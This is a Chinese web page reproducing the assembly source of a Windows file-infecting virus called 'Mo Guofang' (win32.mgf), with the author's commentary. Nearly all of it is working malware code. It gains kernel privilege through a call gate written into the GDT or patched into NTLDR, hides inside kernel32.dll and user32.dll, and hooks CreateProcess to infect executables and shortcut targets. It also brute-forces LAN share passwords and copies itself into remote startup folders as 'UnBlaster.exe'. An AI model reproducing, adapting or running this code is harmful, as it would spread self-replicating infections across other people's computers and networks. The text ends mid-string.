天天看點

“莫國防”病毒(win32.mgf)的源程式

;“莫國防”病毒(win32.mgf)的源程式

; 警告:本程式僅供各位學習研究,不許更改本程式成病毒新變種,更不允許添加破壞性代碼,各位切記!

;寫毒目的:

;1,崇拜陳盈豪,欲與CIH一比高低;

;2,傳播技術,提高國人的水準(如果你把源程式讀懂,并跟蹤一遍病毒,你的技術會大大提高);

;3,讓世界知道中國還是有人的;

;相關技術:

;1,進入RING0:在WIN98用和CIH一樣的技術,直接往GDT添加CALLGATE;在WIN 2000/XP/2003裡把

; CALLGATE寫入NTLDR裡,重新開機後生效(獨創技術,這也是WINDOWS 2000/XP/2003的一個漏洞)。

;2,駐留記憶體:由于所有dll子產品裝入記憶體後,在檔案頭隻使用1K空間,還有3K空間剩餘,是以本病毒

; 把自身的3K放入kernel32.dll的空隙裡,剩下2K放在user32.dll裡,但WIN98比較特殊,剩下2K用vxd的

; _PageAllocate配置設定空間。本毒駐留不靠建立程序和GlobalAlloc記憶體,而是插入子產品的空隙裡,是以在

; 任務管理器裡是看不到病毒的,更終止不了它在記憶體感染檔案,是以本病毒難殺就難在這裡!很多殺毒

; 軟體要麼找不到本病毒,即使找到了也殺不了或殺不幹淨,束手無策(獨創技術)。

;3,攔截檔案操作:為了在WIN98和WIN 2000/XP/2003裡通用,采用攔截CreateProcess函數的方法感染PE文

; 件(獨創技術)。

;4,區域網路傳播:用自身的密碼生成器破解遠端主機的共享密碼,成功後把病毒複制到對方的啟動檔案夾中。

;5,電子郵件傳播:呵呵,目前還沒有此項功能!

;危害估計:

;1,影響中毒者的正常操作;

;2,由于每運作一個程式就建立一個感染區域網路線程,這些線程都用到MPR子產品,估計運作幾個程式後MPR會

; 崩潰,引起非法操作(找比爾.蓋茨去吧,誰叫他給你的MPR不堪負重?);

;3,絕對沒有破壞資料,覆寫BIOS,竊取資訊資料等惡意行為。

; 俺的技術也在不斷提高,也許還有下一個更厲害的病毒哦,呵呵

.586p

.model flat,stdcall

option casemap:none

include windows.inc

include kernel32.inc

include user32.inc

include advapi32.inc

include mpr.inc

includelib kernel32.lib

includelib user32.lib

includelib advapi32.lib

includelib mpr.lib

VirusSize = offset VirusEnd-offset VirusStart

VirusSizeP1 = offset _OtherMemPosition-offset VirusStart ;本毒在記憶體的感染PE檔案部分

VirusSizeP2 = VirusSize-VirusSizeP1 ;本毒的後半部分,不活動

.code

VirusStart:

nop

pushfd

pushad

db 0e8h,0,0,0,0 ;這是一條call指令,在這裡相當于push eip

pop ebx ;EBX=EBX指令在記憶體的實際位址

mov edx,ebx

mov eax,ebx

sub ebx,$-5 ;實際位址-設計位址=位址差=重定位值=EBX

sub edx,8

call _GetModuleAddress ;取得本程序的裝載位址

add eax,[eax+3ch]

mov lpOldPE[ebx],eax

sub edx,[eax+28h]

sub edx,[eax+34h]

add VirusExit[ebx],edx ;edx=本程序的重定位值,修正原來程式入口

mov eax,[esp+24h]

call _GetModuleAddress ;取得hKernel32

mov hKernel32[ebx],eax

mov CallGateSel[ebx],103h

call _GetC3Address ;在kernel32.dll子產品中查找ret(0xc3)的位址

lea esi,[ebx+FunctionNameTab+8] ;首先取得LoadLibraryA,GetProcAddress,GetVersion的位址

lea edi,FunctionAddressTab[ebx]

mov ecx,3

@@:

lodsd

add eax,ebx

push eax

push hKernel32[ebx]

call _GetProcAddress

stosd

loop @b

call dwGetVersion[ebx]

shr eax,31

mov dwVersion[ebx],eax ;windows 版本放入dwVersion變量,98=1,2000/XP/2003=0

call _IsWindows9x ;如果是WIN98馬上往GDT中添加CALLGATE

lea esi,[ebx+FunctionNameTab+4*7]

mov ecx,4

@@:

lodsd

add eax,ebx

.if dwVersion[ebx]

mov byte ptr [eax-2],'A'

.else

mov byte ptr [eax-2],'W'

.endif

loop @b ;處理ANSI/unicode API函數名

call _ProcessImportTab ;導入所有API函數

lea eax,szUser32[ebx]

push eax

call dwLoadLibrary[ebx]

mov hUser32[ebx],eax

xor edx,edx

lar edx,CallGateSel[ebx]

.if dh!=0ech ;如果是第一次感染2000/XP/2003,把CALLGATE寫入NTLDR,感染桌面的快捷方式對應的EXE檔案,等待重新啟動CALLGATE生效

push 4

lea eax,szNtldr[ebx]

push eax

call _EditFile

call _EditLnkFile

.else ;如果是WIN98或記憶體中有CALLGATE的2000/XP/2003,就進入RING0

dw 9bffh

dd offset CallGateSel-4

mov eax,esp

mov esp,[esp+4] ;切換堆棧

push eax

mov eax,cr0

btr eax,16

mov cr0,eax ;去掉kernel32子產品隻讀記憶體頁的寫保護

mov eax,lpOldPE[ebx]

mov edx,dwOldEntry[ebx]

mov [eax+28h],edx

mov edx,dwOldImage[ebx]

mov [eax+50h],edx ;恢複程序的入口和映像大小,避過某些程式的自我保護

mov edi,hKernel32[ebx]

add edi,[edi+3ch]

mov edi,[edi+54h]

add edi,hKernel32[ebx]

mov lpMemPosition1[ebx],edi

lea esi,VirusStart[ebx]

mov ecx,10h

repz cmpsb ;判斷病毒是否已經在記憶體

.if !ZERO? ;not in mem

.if dwVersion[ebx] ;不在記憶體

push 0fh

push 0

push -1

push 0

push 0

push 0

push 1

push 1

@@:

int 20h ;vxd->_PageAllocate

dd 00010053h

add esp,8*4

lea edi,@b[ebx]

mov word ptr [edi],20cdh

mov dword ptr [edi+2],00010053h

.else

mov eax,hUser32[ebx]

add eax,[eax+3ch]

mov eax,[eax+54h]

add eax,hUser32[ebx] ;2000/XP/2003---》EAX=user32.dll子產品的空隙

.endif

mov lpMemPosition2[ebx],eax

mov edi,lpMemPosition1[ebx]

add edi,offset _BeforeAPI-offset VirusStart

mov dword ptr [ebx+szNewCommand+1],edi ;構造跳轉入CreateProcess攔截函數的指令

mov esi,dwCreateProcess[ebx]

push esi

lea edi,szOldCommand[ebx]

mov ecx,6

rep movsb ;儲存原來CreateProcess函數的前6位元組

lea esi,szNewCommand[ebx]

pop edi

mov ecx,6

rep movsb ;把CreateProcess函數的第一條指令改為跳入攔截函數的指令

lea esi,VirusStart[ebx]

mov edi,lpMemPosition1[ebx]

mov ecx,VirusSizeP1

rep movsb ;病毒前3K駐留在kernel32子產品

mov edi,eax

mov ecx,VirusSizeP2

rep movsb ;病毒後2K駐留在user32子產品或vxd _PageAllocate分到的頁中

.endif

pop esp

lea eax,@f[ebx]

push eax

retf ;傳回RING3

@@:

.endif

;create thread for net taint

.if dwVersion[ebx] ;建立感染區域網路線程

call _MemToFile

lea eax,dwVersion[ebx]

push eax

push 0

push 0

lea eax,_GoLAN[ebx]

push eax

push 0

push 0

call dwCreateThread[ebx]

.endif

enter 32,0 ;判斷發作條件

push esp

call dwGetLocalTime[ebx]

mov ax,[esp+2]

mov dl,3

div dl

.if ah==0 && word ptr [esp+4]>=5

push 0

lea eax,szMessageTit[ebx]

push eax

lea eax,szMessageText[ebx]

push eax

push 0

call dwMessageBox[ebx]

.endif

leave

popad

popfd

db 68h

VirusExit:

dd offset @f ;如果病毒在宿主程式,傳回原程式入口,把控制權交回給原程式;如果病毒獨立運作,

@@: ;第一次RET回到RET指令,再一次RET就回到kernel32.dll子產品中,退出病毒程序(進階技巧,不靠ExitProcess)。

ret

hKernel32 dd 0

hUser32 dd 0

szUser32 db 'user32.dll',0

dwC3Address dd 0

dwOldImage dd 3000h

dwOldEntry dd 1000h

lpOldPE dd 0

lpMemPosition1 dd 0

lpMemPosition2 dd 0

dwVersion dd 0

CallGateSel dd 103h

;攔截CreateProcess的前半部分代碼,主要判斷該不該感染檔案,恢複原函數的前6位元組以保證CreateProcess

;傳回攔截函數的後半部分

_BeforeAPI:

pushfd ;擴充堆棧空間,存放攔截函數後半部分的位址

pushfd ;擴充堆棧空間,CreateProcess的參數前移4位元組占用的空間

pushfd ;儲存現場

pushad

cld

db 0e8h,0,0,0,0 ;push eip

pop ebx

sub ebx,$-1 ;ebx=重定位值

mov edi,dwCreateProcess[ebx]

mov [esp+24h],edi

lea esi,szOldCommand[ebx]

mov ecx,6

dw 9bffh

dd offset CallGateSel-4

rep movsb ;進入RING0恢複CreateProcess的前6位元組

lea eax,@f[ebx]

push eax

retf

@@:

mov eax,lpMemPosition1[ebx]

add eax,offset _BehindAPI-offset VirusStart

xchg eax,[esp+2ch] ;調用CreateProcess函數的代碼的傳回位址,跟攔截函數後半部的位址交換

lea esi,[esp+2ch]

lea edi,[esp+28h]

mov ecx,11

rep movsd

stosd ;CreateProcess函數的10個參數前移4位元組,最終傳回位址存入堆棧

mov esi,[esp+28h+4] ;處理EXE檔案的路徑

.if !esi

mov esi,[esp+28h+4+4]

.endif

enter 100h,0

xor eax,eax

mov ecx,100h

lea edi,[ebp-100h]

rep stosb

xor edx,edx

lea edi,[ebp-100h]

mov ecx,80h

@@:

.if dwVersion[ebx]

lodsb

.if al==0

stosb

mov dl,2

.elseif al==22h

inc edx

.else

stosb

.endif

.else

lodsw

.if ax==0

stosw

mov dl,2

.elseif ax==22h

inc edx

.else

stosw

.endif

.endif

cmp dl,2

loopnz @b

.if dwVersion[ebx]

lea esi,[ebp-100h+2]

.else

lea esi,[ebp-100h+4]

.endif

mov ecx,4

@@:

.if dwVersion[ebx]

lodsb

.else

lodsw

.endif

shrd edx,eax,8

loop @b

and edx,0dfdfdfdfh ;小寫轉大寫

cmp edx,'NIW/'

jz @f

.if !dwVersion[ebx] && edx=='ORP/'

jmp @f

.endif

lea edx,[ebp-100h]

push 1

push edx

call _EditFile ;感染CreateProcess打開的PE檔案

@@:

leave

popad

popfd

ret ;回到原CreateProcess繼續執行

_BehindAPI: ;CreateProcess傳回後将跳到這裡,這裡負責恢複它的前6位元組為跳轉指令,跳到攔截函數的前半部分

pushfd

pushad

cld

db 0e8h,0,0,0,0

pop ebx

sub ebx,$-1

mov edi,dwCreateProcess[ebx]

lea esi,szNewCommand[ebx]

mov ecx,6

dw 9bffh

dd offset CallGateSel-4

rep movsb

lea eax,@f[ebx]

push eax

retf

@@:

popad

popfd

ret ;這裡真正傳回調用CreateProcess的位址

szOldCommand db 6 dup(0)

szNewCommand db 68h,0,0,0,0,0c3h

db 0

;感染PE檔案的子程式

;_dwFlag-----bit 0:0=ntldr, 1=PE;bit 1:0=mem, 1=file;bit 2:0=auto(ansi/unicode), 1=ansi

_EditFile proc _lpFileName,_dwFlag

local @hFile

local @hFileMap

local @lpFileMap

local @dwFileSize

local @dwFileAttributes

local @stFileTime1:FILETIME

local @stFileTime2:FILETIME

local @stFileTime3:FILETIME

pushad

push _lpFileName

bt _dwFlag,2

.if CARRY?

call dwGetFileAttributesA[ebx]

.else

call dwGetFileAttributes[ebx]

.endif

;invoke GetFileAttributes,_lpFileName

.if eax!=-1

mov @dwFileAttributes,eax

push 80h

push _lpFileName

bt _dwFlag,2

.if CARRY?

call dwSetFileAttributesA[ebx]

.else

call dwSetFileAttributes[ebx]

.endif

;invoke SetFileAttributes,_lpFileName,80h

push 0

push 80h

push 3

push 0

push 3

push 0c0000000h

push _lpFileName

bt _dwFlag,2

.if CARRY?

call dwCreateFileA[ebx]

.else

call dwCreateFile[ebx]

.endif

;invoke CreateFile,_lpFileName,0c0000000h,0,0,3,80h,0

.if eax!=0ffffffffh

mov @hFile,eax

push eax

call dwGetFileType[ebx]

.if eax==FILE_TYPE_DISK

push 0

push @hFile

call dwGetFileSize[ebx]

;invoke GetFileSize,@hFile,0

mov @dwFileSize,eax

lea eax,@stFileTime3

push eax

lea eax,@stFileTime2

push eax

lea eax,@stFileTime1

push eax

push @hFile

call dwGetFileTime[ebx]

;invoke GetFileTime,@hFile,addr @stFileTime1,addr @stFileTime2,addr @stFileTime3

push 0

push 0

push 0

push 4

push 0

push @hFile

call dwCreateFileMapping[ebx]

;invoke CreateFileMapping,@hFile,0,4,0,eax,0

.if eax

mov @hFileMap,eax

push 0

push 0

push 0

push 6

push eax

call dwMapViewOfFile[ebx]

;invoke MapViewOfFile,eax,6,0,0,0

.if eax

mov @lpFileMap,eax

bt _dwFlag,0

.if CARRY?

.if word ptr [eax]=='ZM'

.if dword ptr [eax+20h]!='FGM'

add eax,[eax+3ch]

.if dword ptr [eax]=='EP'

bt dword ptr [eax+16h],13

.if !CARRY?

push @lpFileMap

call dwUnmapViewOfFile[ebx]

push @hFileMap

call dwCloseHandle[ebx]

mov eax,@dwFileSize

add eax,VirusSize ;如果是滿足條件的PE檔案,檔案大小擴充VirusSize位元組

push 0

push eax

push 0

push 4

push 0

push @hFile

call dwCreateFileMapping[ebx]

mov @hFileMap,eax

push 0

push 0

push 0

push 6

push eax

call dwMapViewOfFile[ebx]

mov @lpFileMap,eax

add eax,[eax+3ch]

movzx ecx,word ptr [eax+6]

dec ecx

xchg eax,ecx

mov edx,28h

mul edx

xchg eax,ecx

movzx edx,word ptr [eax+14h]

add edx,18h

add edx,eax

add edx,ecx ;定位在最後一個節

mov edi,@lpFileMap

add edi,@dwFileSize

bt _dwFlag,1

.if CARRY?

lea esi,VirusStart[ebx]

mov ecx,VirusSize

pushad

rep movsb

popad

.else

mov esi,lpMemPosition1[ebx]

mov ecx,VirusSizeP1

pushad

rep movsb

.if dwVersion[ebx]

mov esi,lpMemPosition2[ebx]

.else

lea eax,szUser32[ebx]

push eax

call dwLoadLibrary[ebx]

mov esi,eax

add esi,[esi+3ch]

mov esi,[esi+54h]

add esi,eax

.endif

mov ecx,VirusSizeP2

rep movsb

popad

.endif ;把病毒代碼寫入檔案

mov ecx,@dwFileSize

add ecx,VirusSize

sub ecx,[edx+14h]

mov [edx+8],ecx

mov [edx+10h],ecx

mov dword ptr [edx+24h],0e00000e0h

mov ecx,[eax+50h]

mov esi,offset dwOldImage-offset VirusStart

mov [edi+esi],ecx

mov ecx,[eax+28h]

mov esi,offset dwOldEntry-offset VirusStart

mov [edi+esi],ecx

add ecx,[eax+34h]

mov esi,offset VirusExit-offset VirusStart

mov [edi+esi],ecx

sub edi,@lpFileMap

sub edi,[edx+14h]

add edi,[edx+12]

mov [eax+28h],edi

mov ecx,[edx+12]

add ecx,[edx+8]

and cx,0f000h

add ecx,1000h

mov [eax+50h],ecx

mov ecx,@lpFileMap

mov dword ptr [ecx+20h],'FGM' ;修改PE檔案頭和寫已感染标志MGF

.endif;'DLL'

.endif;'EP'

.endif;! 'FGM'

.endif;'ZM'

.else;_dwFlag ;如果是NTLDR檔案,寫入CALLGATE

lea esi,szGdtData[ebx]

mov edi,@lpFileMap

mov ecx,@dwFileSize

@@:

inc edi

push esi

push edi

push ecx

mov ecx,10h

repz cmpsb

pop ecx

pop edi

pop esi

loopnz @b

.if ZERO?

xor eax,eax

mov ecx,80h

@@:

sub edi,8

push edi

push ecx

mov ecx,8

repz scasb

pop ecx

pop edi

loopnz @b

.if ZERO?

add edi,100h

lea esi,szCallGate[ebx]

mov ecx,10h

rep movsb

mov edx,dwC3Address[ebx]

mov word ptr [edi-16],dx

shr edx,16

mov word ptr [edi-10],dx

.endif

.endif

.endif;_dwFlag

push @lpFileMap

call dwUnmapViewOfFile[ebx]

;invoke UnmapViewOfFile,@lpFileMap

.endif

push @hFileMap

call dwCloseHandle[ebx]

;invoke CloseHandle,@hFileMap

.endif

lea eax,@stFileTime3

push eax

lea eax,@stFileTime2

push eax

lea eax,@stFileTime1

push eax

push @hFile

call dwSetFileTime[ebx]

;invoke SetFileTime,@hFile,addr @stFileTime1,addr @stFileTime2,addr @stFileTime3

.endif

push @hFile

call dwCloseHandle[ebx]

;invoke CloseHandle,@hFile

.endif

push @dwFileAttributes

push _lpFileName

bt _dwFlag,2

.if CARRY?

call dwSetFileAttributesA[ebx]

.else

call dwSetFileAttributes[ebx]

.endif

;call dwSetFileAttributes[ebx]

;invoke SetFileAttributes,_lpFileName,@dwFileAttributes

.endif

popad

ret

_EditFile endp

szGdtData dw 0ffffh,0000,9a00h,00cfh,0ffffh,0000,9200h,00cfh

szCallGate dw 0000,0108h,0ec00h,0000,0ffffh,0000,9a00h,00cfh

szNtldr db 'c:/ntldr',0

;自身的GetProcAddress函數,用法和kernel32.dll的GetProcAddress一樣

_GetProcAddress proc uses ecx esi edi,_hModule,_lpszProcName

local @dwSize

mov edx,_hModule

add edx,[edx+3ch]

mov edx,[edx+78h]

add edx,_hModule

mov ecx,[edx+18h]

mov esi,[edx+20h]

mov edi,_lpszProcName

push edi

push ecx

xor eax,eax

mov ecx,0ffffffffh

repnz scasb

not ecx

dec ecx

mov @dwSize,ecx ;計算函數名的長度

pop ecx

pop edi

add esi,_hModule

@@:

push edi

push ecx

mov ecx,@dwSize

lodsd

add eax,_hModule

xchg eax,esi

repz cmpsb

xchg eax,esi

pop ecx

pop edi

loopnz @b

.if !ZERO?

xor eax,eax

ret

.endif

sub esi,_hModule

sub esi,4

sub esi,[edx+20h]

shr esi,1

add esi,[edx+24h]

add esi,_hModule

lodsd

movzx eax,ax

shl eax,2

add eax,[edx+1ch]

add eax,_hModule

mov edx,[eax]

add edx,_hModule

xchg edx,eax

ret

_GetProcAddress endp

;感染區域網路的線程

_GoLAN proc lParam

local @hEnum

local @dwcCount

local @szResourceName[32]:byte

local @szBuffer[0c00h]:byte

pushad

db 0e8h,0,0,0,0

pop ebx

sub ebx,$-1

lea eax,@hEnum

push eax

push 0

push 13h

push 0

push 5

call dwWNetOpenEnum[ebx]

.if !eax

.repeat

mov @dwcCount,-1

lea eax,dwBufferSize[ebx]

push eax

lea eax,@szBuffer

push eax

lea eax,@dwcCount

push eax

push @hEnum

call dwWNetEnumResource[ebx]

cmp dword ptr [@szBuffer+14h],0

jnz @f

.until eax

push @hEnum

call dwWNetCloseEnum[ebx]

.endif

jmp _GoLANexit

@@:

push @hEnum

call dwWNetCloseEnum[ebx]

lea edi,@szBuffer

_NextPC:

push edi

mov esi,[edi+14h]

lea edi,@szResourceName

@@:

lodsb

stosb

or al,al

jnz @b

mov dword ptr [edi-1],'C/'

pop edi

xor eax,eax

mov dwPassword[ebx],eax

@@:

lea edx,szLocalDrive[ebx]

push edx

push eax

lea edx,@szResourceName

push edx

call dwWNetAddConnection[ebx]

.if eax==56h

call _GenPassWord

cmp dwPassword[ebx],0

jnz @b

.elseif !eax

push 0

lea eax,szDFile[ebx]

push eax

lea eax,szSFile[ebx]

push eax

call dwCopyFile[ebx] ;如果找到可寫共享,感染

mov esi,eax

push 1

lea eax,szLocalDrive[ebx]

push eax

call dwWNetCancelConnection[ebx]

call _GenPassWord

or esi,esi

jz @b

.endif

add edi,20h

dec @dwcCount

jnz _NextPC

_GoLANexit:

popad

ret

_GoLAN endp

szMemToFileName db 'UnBlaster.exe',0

szSFile db 'c:/windows/system/UnBlaster.exe',0

szDFile db 'X:/WINDOWS/All Users/Start Menu/Programs/啟動/UnBlaster.exe',0

dwPassword dd 0

dd 0,0

szPassword db 0

szLocalDrive db 'x:',0

dwBufferSize dd 0c00h

_GenPassWord: ;生成密碼的子程式,密碼包括[email protected]#$%^字元

std

pushad

lea edi,[ebx+szPassword-1]

xor edx,edx

mov eax,dwPassword[ebx]

mov ecx,16

@@:

div ecx

xchg eax,edx

.if al<=5

add al,21h

.else ;if al>=6 && al<=15

add al,2ah

.endif

stosb

xor eax,eax

xchg eax,edx

or eax,eax

jnz @b

inc edi

inc dwPassword[ebx]

mov [esp+20h-4],edi

popad

cld

ret

_MemToFile proc ;還原病毒自身的子程式

local @hFile

local @hFileMap

local @lpFileMap

local @lpSystemDir[40h]:byte

push 40h

lea edi,@lpSystemDir

push edi

call dwGetSystemDirectory[ebx]

;invoke GetSystemDirectory,addr @lpSystemDir,100h

add edi,eax

mov al,'/'

stosb

lea esi,szMemToFileName[ebx]

mov ecx,16

rep movsb

push 0

push 80h

push 2

push 0

push 0

push 0c0000000h

lea eax,@lpSystemDir

push eax

call dwCreateFileA[ebx]

;invoke CreateFile,addr @lpSystemDir,0c0000000h,0,0,2,80h,0

.if eax!=0ffffffffh

mov @hFile,eax

mov edx,VirusSize

add edx,200h

push 0

push edx

push 0

push 4

push 0

push eax

call dwCreateFileMapping[ebx]

;invoke CreateFileMapping,eax,0,4,0,edx,0

.if eax

mov @hFileMap,eax

push 0

push 0

push 0

push 6

push eax

call dwMapViewOfFile[ebx]

;invoke MapViewOfFile,eax,6,0,0,0

.if eax

mov @lpFileMap,eax

mov edi,eax

mov esi,hKernel32[ebx]

mov ecx,0a8h

rep movsb ;用KERNEL32的DOS頭

mov dword ptr [eax+3ch],0a8h

mov dword ptr [eax+20h],'FGM'

lea esi,FileHead[ebx]

mov ecx,120h

rep movsb ;原PE頭

xor eax,eax

mov ecx,38h

rep stosb

lea esi,VirusStart[ebx]

mov ecx,VirusSize

push edi

rep movsb ;病毒代碼

pop edi

mov esi,offset VirusExit-offset VirusStart

mov dword ptr [edi+esi],offset VirusExit+4

push @lpFileMap

call dwUnmapViewOfFile[ebx]

;invoke UnmapViewOfFile,@lpFileMap

.endif

push @hFileMap

call dwCloseHandle[ebx]

;invoke CloseHandle,@hFileMap

.endif

push @hFile

call dwCloseHandle[ebx]

;invoke CloseHandle,@hFile

.endif

ret

_MemToFile endp

_ProcessImportTab: ;手工處理導入函數

lea esi,FunctionNameTab[ebx]

lea edi,FunctionAddressTab[ebx]

@@:

lodsd

.if eax==0ffffffffh

lodsd

add eax,ebx

push eax

call dwLoadLibrary[ebx]

mov ecx,eax

.elseif eax

add eax,ebx

push ecx

push eax

push ecx

call dwGetProcAddress[ebx]

stosd

pop ecx

.endif

or eax,eax

jnz @b

ret

_IsWindows9x: ;往WIN98的GDT添加CALLGATE的子程式

.if !ZERO? ;win9x

xor ecx,ecx

push ecx

push cx

sgdt fword ptr [esp]

pop cx

pop edi

sub ecx,8

and cl,0f8h

or cl,3

mov CallGateSel[ebx],ecx

xor edx,edx

lar edx,ecx

.if dh!=0ech

and cl,0f8h

mov edx,dwC3Address[ebx]

mov word ptr [edi+ecx],dx

shr edx,16

mov word ptr [edi+ecx+6],dx

mov dword ptr [edi+ecx+2],0ec000028h

.endif

.endif

ret

_GetModuleAddress:

@@:

and ax,0f000h

sub eax,1000h

cmp word ptr [eax],'ZM'

jnz @b

mov ecx,eax

add ecx,[ecx+3ch]

cmp dword ptr [ecx],'EP'

jnz @b

ret

_GetC3Address:

mov edi,hKernel32[ebx]

add edi,1000h

mov ecx,20000h

mov al,0c3h

cld

repnz scasb

dec edi

mov dwC3Address[ebx],edi

ret

FunctionAddressTab:

dwLoadLibrary dd 0

dwGetProcAddress dd 0

dwGetVersion dd 0

dwCloseHandle dd 0

dwCreateProcess dd 0

dwCreateFile dd 0

dwGetFileAttributes dd 0

dwSetFileAttributes dd 0

dwCreateFileA dd 0

dwGetFileAttributesA dd 0

dwSetFileAttributesA dd 0

dwGetSystemDirectory dd 0

dwCreateFileMapping dd 0

dwCreateThread dd 0

dwGetFileSize dd 0

dwGetFileTime dd 0

dwSetFileTime dd 0

dwGetFileType dd 0

dwGetLocalTime dd 0

dwCopyFile dd 0

dwMapViewOfFile dd 0

dwUnmapViewOfFile dd 0

dwFindFirstFile dd 0

dwFindNextFile dd 0

dwFindClose dd 0

dwMessageBox dd 0

dwRegCloseKey dd 0

dwRegCreateKeyEx dd 0

dwRegOpenKeyEx dd 0

dwRegQueryValueEx dd 0

dwRegSetValueEx dd 0

dwWNetAddConnection dd 0

dwWNetCancelConnection dd 0

dwWNetCloseEnum dd 0

dwWNetEnumResource dd 0

dwWNetOpenEnum dd 0

_OtherMemPosition: ;駐留在别處的後半部2K

FunctionNameTab:

dd 0ffffffffh

dd offset szKernel32

dd offset szLoadLibraryA

dd offset szGetProcAddress

dd offset szGetVersion

dd offset szCloseHandle

dd offset szCreateProcess

dd offset szCreateFile

dd offset szGetFileAttributes

dd offset szSetFileAttributes

dd offset szCreateFileA

dd offset szGetFileAttributesA

dd offset szSetFileAttributesA

dd offset szGetSystemDirectoryA

dd offset szCreateFileMappingA

dd offset szCreateThread

dd offset szGetFileSize

dd offset szGetFileTime

dd offset szSetFileTime

dd offset szGetFileType

dd offset szGetLocalTime

dd offset szCopyFileA

dd offset szMapViewOfFile

dd offset szUnmapViewOfFile

dd offset szFindFirstFileA

dd offset szFindNextFileA

dd offset szFindClose

dd 0ffffffffh

dd offset szUser32

dd offset szMessageBoxA

dd 0ffffffffh

dd offset szADVAPI32

dd offset szRegCloseKey

dd offset szRegCreateKeyExA

dd offset szRegOpenKeyExA

dd offset szRegQueryValueExA

dd offset szRegSetValueExA

dd 0ffffffffh

dd offset szMPR

dd offset szWNetAddConnectionA

dd offset szWNetCancelConnectionA

dd offset szWNetCloseEnum

dd offset szWNetEnumResourceA

dd offset szWNetOpenEnumA

dd 0

szKernel32 db 'kernel32.dll',0

szLoadLibraryA db 'LoadLibraryA',0

szGetProcAddress db 'GetProcAddress',0

szGetVersion db 'GetVersion',0

szCloseHandle db 'CloseHandle',0

szCreateProcess db 'CreateProcessW',0

szCreateFile db 'CreateFileW',0

szGetFileAttributes db 'GetFileAttributesW',0

szSetFileAttributes db 'SetFileAttributesW',0

szCreateFileA db 'CreateFileA',0

szGetFileAttributesA db 'GetFileAttributesA',0

szSetFileAttributesA db 'SetFileAttributesA',0

szGetSystemDirectoryA db 'GetSystemDirectoryA',0

szCreateFileMappingA db 'CreateFileMappingA',0

szCreateThread db 'CreateThread',0

szGetFileSize db 'GetFileSize',0

szGetFileTime db 'GetFileTime',0

szSetFileTime db 'SetFileTime',0

szGetFileType db 'GetFileType',0

szGetLocalTime db 'GetLocalTime',0

szCopyFileA db 'CopyFileA',0

szMapViewOfFile db 'MapViewOfFile',0

szUnmapViewOfFile db 'UnmapViewOfFile',0

szFindFirstFileA db 'FindFirstFileA',0

szFindNextFileA db 'FindNextFileA',0

szFindClose db 'FindClose',0

;szUSER32 db 'USER32.dll',0

szMessageBoxA db 'MessageBoxA',0

szADVAPI32 db 'ADVAPI32.dll',0

szRegCloseKey db 'RegCloseKey',0

szRegCreateKeyExA db 'RegCreateKeyExA',0

szRegOpenKeyExA db 'RegOpenKeyExA',0

szRegQueryValueExA db 'RegQueryValueExA',0

szRegSetValueExA db 'RegSetValueExA',0

szMPR db 'MPR.dll',0

szWNetAddConnectionA db 'WNetAddConnectionA',0

szWNetCancelConnectionA db 'WNetCancelConnectionA',0

szWNetCloseEnum db 'WNetCloseEnum',0

szWNetEnumResourceA db 'WNetEnumResourceA',0

szWNetOpenEnumA db 'WNetOpenEnumA',0

_EditLnkFile proc ;感染桌面快捷方式的子程式

local @hFile

local @hFileMap

local @lpFileMap

local @hFindFile

local @dwFileSize

local @dwBufferSize

local @lpBuffer[80h]:byte

local @stWin32FindData:WIN32_FIND_DATA

pushad

lea eax,@hFile

push eax

push 1

push 0

lea eax,szRegKeyDesktop[ebx]

push eax

push 80000001h

call dwRegOpenKeyEx[ebx]

.if !eax

mov @dwBufferSize,80h

lea eax,@dwBufferSize

push eax

lea eax,@lpBuffer

push eax

push 0

push 0

lea eax,szDesktopValue[ebx]

push eax

push @hFile

call dwRegQueryValueEx[ebx]

push @hFile

call dwRegCloseKey[ebx]

dec @dwBufferSize

lea edi,@lpBuffer

add edi,@dwBufferSize

.if byte ptr [edi-1]!='/'

mov al,'/'

stosb

inc @dwBufferSize

.endif

mov eax,'nl.*'

stosd

mov eax,'k'

stosd

lea eax,@stWin32FindData

push eax

lea eax,@lpBuffer

push eax

call dwFindFirstFile[ebx] ;查找第一個lnk檔案

;invoke FindFirstFile,addr @lpBuffer,addr @stWin32FindData

.if eax!=INVALID_HANDLE_VALUE

mov @hFindFile,eax

.repeat

mov eax,dword ptr [@stWin32FindData+20h]

mov @dwFileSize,eax

mov ecx,@dwBufferSize

lea edi,@stWin32FindData+2ch

sub edi,ecx

lea esi,@lpBuffer

push edi

rep movsb

pop edi

push 0

push 80h

push 3

push 0

push 1

push 80000000h

push edi

call dwCreateFileA[ebx]

;invoke CreateFile,edi,80000000h,1,0,3,80h,0

.if eax!=0ffffffffh

mov @hFile,eax

push 0

push 0

push 0

push 2

push 0

push eax

call dwCreateFileMapping[ebx]

;invoke CreateFileMapping,eax,0,2,0,0,0

.if eax

mov @hFileMap,eax

push 0

push 0

push 0

push 4

push eax

call dwMapViewOfFile[ebx]

;invoke MapViewOfFile,eax,4,0,0,0

.if eax

mov @lpFileMap,eax

lea esi,[eax+65h]

mov edi,esi

mov ecx,@dwFileSize

sub ecx,66h

@@:

inc edi

push esi

push edi

push ecx

mov ecx,3

repz cmpsb ;複制*.lnk檔案裡的EXE檔案的路徑

pop ecx

pop edi

pop esi

loopnz @b

.if ZERO? && byte ptr [edi+3]

mov esi,edi

sub edi,@lpFileMap

mov ecx,@dwFileSize

sub ecx,edi

lea edi,@stWin32FindData

push edi

@@:

lodsb

stosb

or al,al

loopnz @b

pop edi

mov eax,[edi+2]

and eax,0dfdfdfdfh

.if eax=='NIW/'

xor edi,edi

.else

.if !dwVersion[ebx] && eax=='ORP/'

xor edi,edi

.endif

.endif

.else

xor edi,edi

.endif

push @lpFileMap

call dwUnmapViewOfFile[ebx]

;invoke UnmapViewOfFile,@lpFileMap

.endif

push @hFileMap

call dwCloseHandle[ebx]

;invoke CloseHandle,@hFileMap

.endif

push @hFile

call dwCloseHandle[ebx]

;invoke CloseHandle,@hFile

.endif

.if edi

push 7

push edi

call _EditFile ;符合條件,感染

.endif

lea eax,@stWin32FindData

push eax

push @hFindFile

call dwFindNextFile[ebx] ;繼續搜尋lnk檔案

;invoke FindNextFile,@hFindFile,addr @stWin32FindData

.until eax==0

push @hFindFile

call dwFindClose[ebx]

;invoke FindClose,@hFindFile

.endif

.endif

popad

ret

_EditLnkFile endp

szRegKeyDesktop db 'Software/Microsoft/Windows/CurrentVersion/Explorer/Shell Folders',0

szDesktopValue db 'Desktop',0

szMessageTit db '莫國防的技術使者之宣言',0

szMessageText db '本使者為傳播技術而來,已在這裡安營紮寨。我無破壞力,你不必擔心!',13,10

